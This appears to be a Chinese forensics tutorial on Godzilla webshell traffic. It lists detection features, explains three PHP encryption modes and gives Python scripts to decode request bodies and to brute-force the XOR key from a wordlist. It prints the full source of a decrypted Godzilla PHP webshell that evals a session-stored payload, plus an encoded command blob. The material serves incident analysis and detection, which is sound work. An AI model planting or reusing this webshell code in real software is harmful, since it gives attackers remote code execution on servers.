哥斯拉流量PHP3种加密方式讲解及PHP_XOR_BASE64爆破密钥思路
字数 1164 2025-08-22 12:23:06
哥斯拉流量PHP加密方式详解及密钥爆破技术
一、哥斯拉流量识别特征
1. 流量行为特征
- 先上传小马,后上传大马
- 请求头无Cookie,响应头出现Set-Cookie
- 后续请求包特征:
- Cookie尾部有分号(强特征)
- 请求体前后有16位固定数字
- Accept字段为:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8(弱特征,可修改) - 响应体
Cache-Control: no-store, no-cache, must-revalidate(弱特征)
二、PHP加密方式识别与解密
1. PHP_XOR_BASE64
识别特征:
- 请求体参数值为密文
- 响应体第二行的前和尾部是16个十六进制字符
解密方法:
- 需要知道密码和密钥
- 密钥生成方式:某明文进行MD5加密后取前16个字符
- 推荐工具:Decode_Tools_v1.0-1.0-SNAPSHOT.jar
2. PHP_EVAL_XOR_BASE64
识别特征:
- 请求体参数值为明文
- 响应体前和尾部是16个十六进制字符
解密方法:
- 对请求体参数值进行:
- URL解码
- 字符串反转
- Base64解码
- 示例Python代码:
import base64
import urllib.parse
encoded_string = 'K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7ciMmVDMjVDZ4AjMxYzNiNzNn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7ciclt2YhhGaoh2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD'
url_decoded = urllib.parse.unquote(encoded_string)
reversed_string = url_decoded[::-1]
base64_decoded = base64.b64decode(reversed_string)
try:
decoded_command = base64_decoded.decode('utf-8')
print("解码后的命令:", decoded_command)
except UnicodeDecodeError as e:
print("解码失败,可能是非 UTF-8 编码:", e)
3. PHP_XOR_RAW
识别特征:
- 请求体为原始数据
- 请求体出现Cookie有分号
Cache-Control: no-store, no-cache, must-revalidateContent-Length: 0
解密后示例:
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
三、PHP_XOR_BASE64密钥爆破技术
1. 爆破前提条件
- 已知密码
- 已知响应体返回的前16位是固定的
2. 爆破思路
- 通过字典爆破可能的密钥明文
- 对每个候选明文:
- 计算MD5并取前16位作为候选密钥
- 使用密码和候选密钥尝试解密
- 当解密结果中出现特定字符串(如
e71f50e9773b23f9)时,说明找到了正确的密钥明文
3. 示例爆破代码
import hashlib
def read(path):
with open(path, 'r') as file:
ap = [line.strip() for line in file if line.strip()]
return ap
def encode(D, K):
encoded = list(D)
for i in range(len(D)):
c = K[(i + 1) & 15]
encoded[i] = chr(ord(D[i]) ^ ord(c))
return ''.join(encoded)
def main():
passphrase = 'Antsword'
ap = read('./a.txt')
for p in ap:
ff = hashlib.md5((passphrase + hashlib.md5(p.encode()).hexdigest()[:16]).encode()).hexdigest()[:16]
if ff == "e71f50e9773b23f9":
print(p)
print(hashlib.md5(p.encode()).hexdigest()[:16])
if __name__ == "__main__":
main()
4. 爆破成功结果
- 密钥明文:
Antsw0rd - 密钥生成方式:
hashlib.md5("Antsw0rd".encode()).hexdigest()[:16] - 实际密钥:
a18551e65c48f51e
四、总结
-
哥斯拉流量有三种PHP加密方式,各有不同的识别特征
-
PHP_EVAL_XOR_BASE64可直接解密获取密码和密钥
-
PHP_XOR_BASE64在已知密码情况下可通过爆破获取密钥
-
爆破关键点:
- 需要准备合适的字典文件
- 依赖响应体固定特征作为验证条件
- 注意密钥是明文的MD5前16位
-
实际应用中,建议结合流量特征和加密方式特点进行针对性分析,优先尝试已知密码的爆破方法。